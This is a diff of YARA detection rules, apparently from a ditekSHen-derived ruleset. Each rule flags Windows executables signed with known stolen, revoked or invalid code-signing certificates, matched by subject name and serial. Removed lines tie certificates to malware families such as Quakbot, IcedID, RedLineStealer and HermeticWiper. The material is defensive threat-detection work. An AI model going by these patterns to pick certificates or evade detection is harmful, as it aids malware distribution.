+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x92\\xD0\\x93\\xE5\\x84\\xBF\\xD0\\x93\\xE5\\x8B\\x92\\xD0\\x92\\xE5\\x8B\\x92\\xD0\\x93\\xD0\\x93\\xE5\\x84\\xBF\\xE8\\x89\\xBE\\xD0\\x92\\xD0\\x93\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xD0\\x92\\xD0\\x93\\xE8\\x89\\xBE\\xE9\\xA9\\xAC\\xD0\\x93\\xE8\\x89\\xBE\\xE9\\xA9\\xAC\\xD0\\x93" and pe.signatures[i].serial=="00:c1:af:ab:da:a1:32:1f:81:5c:db:b9:46:77:28:bc:08")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_371381A66Fb96A07077860Ae4A6721E1 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "59e63c76-1051-5274-b886-fcd75c8b0b38"
+		id = "cd9c9965-922c-5ced-839c-97d1dcde33ff"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8566-L8579"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1283-L1294"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62b9ea3c5197635db2101972af951f4afbd9b311b3c8286525bbd5b5baa17c41"
+		logic_hash = "f087df37fdb6d921f411f130f26f9b5a58c36ae163bc88565178e0ed12be79d9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0767b9ab857b8e24282b80a7368323689a842e6c8b5a00a4f965c03e375e8b0d"
-		reason = "Hive"
+		thumbprint = "c4419f095ae93d93e145d678ed31459506423d6a"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Casta, s.r.o." and pe.signatures[i].serial=="e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE7\\xBB\\xB4\\xD0\\xA9\\xE5\\x90\\xBE\\xE7\\xBB\\xB4\\xD0\\xA9\\xD0\\xA9\\xE7\\xBB\\xB4\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xD0\\xA9\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xD0\\xA9\\xE5\\xA8\\x9C\\xE6\\x9D\\xB0\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xE5\\xA8\\x9C\\xE5\\xA8\\x9C\\xD0\\xA9" and pe.signatures[i].serial=="37:13:81:a6:6f:b9:6a:07:07:78:60:ae:4a:67:21:e1")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Da156922F4760E0C5F5Bcf79812A27E1 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Deb004E56D7Fcec1Caa8F2928D4E768 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "065bacbc-3004-53c1-ba73-4779743e8221"
+		id = "bb4e62b1-3528-56db-b004-1d590ad1ee61"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8581-L8594"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1296-L1307"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6dd0f2373e412a753cbe5e27152f48d6c8980de9b26e5ab212b926e7e41c813"
+		logic_hash = "69910c81ce85bc59972b644f548a4382b8f3b70ec2737ada9da7adcb4779ce9c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6e19e012f55e0bb44e9036d4445ab945942965dcb81b9ed24ad6fc17933c4fce"
-		reason = "Quakbot"
+		thumbprint = "21dacc55b6e0b3b0e761be03ed6edd713489b6ce"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DRINK AND BUBBLE LTD" and pe.signatures[i].serial=="da:15:69:22:f4:76:0e:0c:5f:5b:cf:79:81:2a:27:e1")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC Mail.Ru" and pe.signatures[i].serial=="0d:eb:00:4e:56:d7:fc:ec:1c:aa:8f:29:28:d4:e7:68")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7Bd36898217B4Cc6B6427Dd7C361E43D : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "37d1061f-80b1-5944-bde3-6279633e321a"
+		id = "ff5be4ad-9471-5d9f-a1ad-ed7aca345a7f"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8596-L8609"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1309-L1320"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8fa1dad2cd4c1406c1346bbe0fef88eba415437d159cf9010dcfaaa7210aef0e"
+		logic_hash = "9ff149b5a12e154c0ede5015a0432fb70d6001507356c006952e8db91afaa72d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "92f005b9c46c7993205d9451823cf0410d1afbd7056a7dcdfa2b8b3da74ee1bf"
-		reason = "Quakbot"
+		thumbprint = "c55df31aa16adb1013612ceb1dcf587afb7832c3"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VALENTE SP Z O O" and pe.signatures[i].serial=="52:26:a7:24:cf:a0:b4:bc:01:64:ec:da:3f:02:a3:dc")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aeafefcafbafbaf" and pe.signatures[i].serial=="7b:d3:68:98:21:7b:4c:c6:b6:42:7d:d7:c3:61:e4:3d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_121070Be1E782F206985543Bc7Bc58B6 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02D17Fbf4869F23Fea43C7863902Df93 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8432c7f0-ee2e-5935-8fe8-36b0094a5e1a"
+		id = "6e96f5b2-f3de-5d5a-babe-d46b9e3edd3e"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8611-L8624"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1322-L1333"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "21eb6fed2225d2ab056948603b0990c2eb7dc9289da9a9df16f0d6cd042b3778"
+		logic_hash = "a66e10934cc58e364a694dde3865d0de33e61ce0128ef144c61fa5728d22b8f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a4534aff03258589a2622398d1904d3bfd264c37e8649a68136f8d552f8b738f"
-		reason = "Quakbot"
+		thumbprint = "d336ff8d8ccb771943a70bb4ba11239fb71beca5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Prod Can Holdings Inc." and pe.signatures[i].serial=="12:10:70:be:1e:78:2f:20:69:85:54:3b:c7:bc:58:b6")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microsoft Windows" and pe.signatures[i].serial=="02:d1:7f:bf:48:69:f2:3f:ea:43:c7:86:39:02:df:93")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_15C21Dab7F4E644E4B35C4858004D8A9 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1E74Cfe7De8C5F57840A61034414Ca9F : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "7dac5657-038f-5cbd-a854-cdb12921121e"
+		id = "b46992d5-f4fb-5e51-8f3c-eb87d4397f14"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8626-L8639"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1335-L1346"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "646a858b10de89da4e639d3902ada78fad3a45868f0d7782546a865396cf226c"
+		logic_hash = "14f57732a82b5139059bbe6f713184659187b57419d79e85a12ab197def4b761"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "34a9cd401a5a86c5194954df3a497094c01b6603264aab5cf7d9b3c4a0074801"
-		reason = "Quakbot"
+		thumbprint = "2dfa711a12aed0ace72e538c57136fa021412f95951c319dcb331a3e529cf86e"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "P.REGO, s.r.o." and pe.signatures[i].serial=="15:c2:1d:ab:7f:4e:64:4e:4b:35:c4:85:80:04:d8:a9")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Insta Software Solution Inc." and pe.signatures[i].serial=="1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_101D6A5A29D9A77807553Ceac669D853 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009272607Cfc982B782A5D36C4B78F5E7B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8554ce79-fd87-54ac-b538-e2899fe95414"
+		id = "dfb01400-dff2-5df1-b38e-7eb2ee2c71b8"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8641-L8654"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1348-L1359"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be6b5a98d5c218c39d8f10bc2a0e443bc8be8a591ab368ee902de4a45a95c8d2"
+		logic_hash = "d1c2b44e782befc8dae6852935b6f5b0071c13dd9b56857c38cb290c9069df18"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "cd6aa9a7a4898e42b8361dc3542d0afb72e6deefc0b85ebfb55d282a2982b994"
-		reason = "IcedID"
+		thumbprint = "2514c615fe54d511555bc5b57909874e48a438918a54cea4a0b3fbc401afa127"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BIC GROUP LIMITED" and pe.signatures[i].serial=="10:1d:6a:5a:29:d9:a7:78:07:55:3c:ea:c6:69:d8:53")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rada SP Z o o" and pe.signatures[i].serial=="00:92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4679C5398A279318365Fd77A84445699 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7B91468122273Aa32B7Cfc80C331Ea13 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "ff4061e7-5e45-596f-9d40-c33661a18e71"
+		id = "4369d88d-f592-5a5a-bdf6-c63b77d45326"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8656-L8669"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1361-L1372"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1c591cbb2d35d8dad01ff4ea8c71c8b3a0a5f999f1edfcfc038e47f96d3a3a67"
+		logic_hash = "4c0fa18edb23c6a7474185adc67101ad9b13c71188f25612165cb97d236562d8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8fcef52c16987307f4e1f7d4b62304c65aedb952c90bb2ead8321f1e1d7c9a6e"
-		reason = "Quakbot"
+		thumbprint = "409f32dc91542546e7c7f85f687fe3f1acffdd853657c8aa8c1c985027f5271d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HURT GROUP HOLDINGS LIMITED" and pe.signatures[i].serial=="46:79:c5:39:8a:27:93:18:36:5f:d7:7a:84:44:56:99")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO KBI" and pe.signatures[i].serial=="7b:91:46:81:22:27:3a:a3:2b:7c:fc:80:c3:31:ea:13")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_282A8A04073Eced658B9770Bda8C0D28 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0082Cb93593B658100Cdd7A00C874287F2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "d735ccfc-3f5e-5858-95ec-f385172ea8e6"
+		id = "3e618656-6c9d-5172-bad4-f507cec1dc0c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8671-L8684"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1374-L1385"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4cfebe55887a2a09293678e4dff2f93f22bec151dada7c84a41ac6deb10b7cc3"
+		logic_hash = "df8eb4feef3992bae7097a05860f57a1408fc79d92741e3ea2f202d072d9f47e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5cd4832101eb4f173c43986d5711087c8de25e6fcaef2f333e98a013e29b8373"
-		reason = "RedLineStealer"
+		thumbprint = "d168d7cf7add6001df83af1fc603a459e11395a9077579abcdfd708ad7b7271f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Betamaynd" and pe.signatures[i].serial=="28:2a:8a:04:07:3e:ce:d6:58:b9:77:0b:da:8c:0d:28")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sportsonline24 B.V." and pe.signatures[i].serial=="00:82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0C48732873Ac8Ccebaf8F0E1E8329Cec : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Df683D46D8C3832489672Cc4E82D3D5D : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "dacde33d-3925-52c6-87fd-9f3ead6bfab0"
+		id = "532ee72a-00f6-513e-b4f9-0827f77d643e"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8686-L8699"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1387-L1398"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "64c61d1bb48d790a2a3da85c6e57b542f0ee8a85296fc3e8c17ea18d8241790d"
+		logic_hash = "153fdb25769d912732a1fb4ecc757fc8c7e4766cd6588ea16d9cf642b4be8bf6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "14ffc96c8cc2ea2d732ed75c3093d20187a4c72d02654ff4520448ba7f8c7df6"
-		reason = "HermeticWiper"
+		thumbprint = "8b63c5ea8d9e4797d77574f35d1c2fdff650511264b12ce2818c46b19929095b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hermetica Digital Ltd" and pe.signatures[i].serial=="0c:48:73:28:73:ac:8c:ce:ba:f8:f0:e1:e8:32:9c:ec")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Osatokio Oy" and pe.signatures[i].serial=="00:df:68:3d:46:d8:c3:83:24:89:67:2c:c4:e8:2d:3d:5d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Da20761Afbb0463C55B1Ea88Bbc7Ec57 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_105440F57E9D04419F5A3E72195110E6 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "63e4b8f6-64f1-58a2-920a-e1d4b113380b"
+		id = "44600134-156b-5762-bdae-f4c016f454a3"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8716-L8729"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1400-L1411"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a4f6bb9742ab40e8003ea14f9645f0c7f885b461fbeb01164b86ddacbda1113f"
+		logic_hash = "f8b7aebe91466a587dac366cf6483586f22f95ebc186aa139e55c6e52d276f63"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f12dd6e77ffab75870b24dd5bfda5a360843f9e5591e764be9f0a2ac59a710d3"
-		reason = "Quakbot"
+		thumbprint = "e95c7b4f2e5f64b388e968d0763da67014eb3aeb8c04bd44333ca3e151aa78c2"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CLEVER CLOSE s.r.o." and pe.signatures[i].serial=="da:20:76:1a:fb:b0:46:3c:55:b1:ea:88:bb:c7:ec:57")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CRYPTOLAYER SRL" and pe.signatures[i].serial=="10:54:40:f5:7e:9d:04:41:9f:5a:3e:72:19:51:10:e6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C51F4Cf4D82Bc920421E1Ad93E39D490 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C01E41Ff29078E6626A640C5A19A8D80 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "cbb6cb90-b0f0-5271-81ae-8639c28a5df1"
+		id = "93ee927f-71bd-5490-8f70-5486ee9c3b79"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8731-L8744"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1413-L1424"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b9152998eb3c4ba2b6e7571ed03c63ae1ade2f922df6901f8e46b08f41474f7b"
+		logic_hash = "1ee6f365d46fb1ee0e448fc0ab9d07c51a46f6ee95155094ec956f1cad6c1052"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d17dc7ef018e13b9a482b60871e25447fb1ae724dfe69b5287dce6b9b78d84a9"
-		reason = "Quakbot"
+		thumbprint = "cca4a461592e6adff4e0a4458ebe29ee4de5f04c638dbd3b7ee30f3519cfd7e5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CUT AHEAD LTD" and pe.signatures[i].serial=="c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BurnAware" and pe.signatures[i].serial=="c0:1e:41:ff:29:07:8e:66:26:a6:40:c5:a1:9a:8d:80")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_69A72F5591Ad78A0825Fbb9402Ab9543 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Fa3Dcac19B884B44Ef4F81541184D6B0 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a30ca6aa-3bf4-5fa2-8297-7b983410e5d4"
+		id = "a188e033-4381-5ff0-8f54-f36571ae7097"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8746-L8759"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1426-L1437"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b2a8c08a612f7352a159a9d3f7d9152d9de043db1ec69e4bb2493533453f8f5c"
+		logic_hash = "7e9e2b22f6f2cfd5d7c962fb43c85d703d0a600f954f614073c708f4b881d90e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "42a6612f4c652b521435989b5f044403649fef6db4fb476f3c4d981dc2f9bdf8"
-		reason = "Quakbot"
+		thumbprint = "6557117e37296d7fdcac23f20b57e3d52cabdb8e5aa24d3b78536379d57845be"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PUSH BANK LIMITED" and pe.signatures[i].serial=="69:a7:2f:55:91:ad:78:a0:82:5f:bb:94:02:ab:95:43")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unicom Ltd" and pe.signatures[i].serial=="00:fa:3d:ca:c1:9b:88:4b:44:ef:4f:81:54:11:84:d6:b0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_8Cece6Df54Cf6Ad63596546D77Ba3581 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_70E1Ebd170Db8102D8C28E58392E5632 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "c5c19072-5a2f-5851-83bf-25a9e2fd9033"
+		id = "f5ccfbdd-d72d-5060-84e6-0ab8477f73fe"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8761-L8774"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1439-L1450"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1980b3ef7df1bfa43d401fdd8393cb8ffb5c919d558c23314ffb9e823cf9590d"
+		logic_hash = "b639424c97fb1da440c458cf5cb8f04562292284db7b576c0676a632704f597b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1a9ff8aba1b24e3bd06442ac6d593ff224b685cba4edef79e740f569ab453161"
-		reason = "Malware"
+		thumbprint = "90d67006be03f2254e1da76d4ea7dc24372c4f30b652857890f9d9a391e9279c"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Mikael LLC" and pe.signatures[i].serial=="8c:ec:e6:df:54:cf:6a:d6:35:96:54:6d:77:ba:35:81")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Equal Cash Technologies Limited" and pe.signatures[i].serial=="70:e1:eb:d1:70:db:81:02:d8:c2:8e:58:39:2e:56:32")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Db95B22362D46A73C39E0Ac924883C5B : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Cfa5050C819C4Acbb8Fa75979688Dff : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "df60473d-da8a-59c1-84d1-717d52d2411d"
+		id = "35673979-5578-5d32-b8f9-9e74f0c336a2"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8776-L8789"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1452-L1463"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
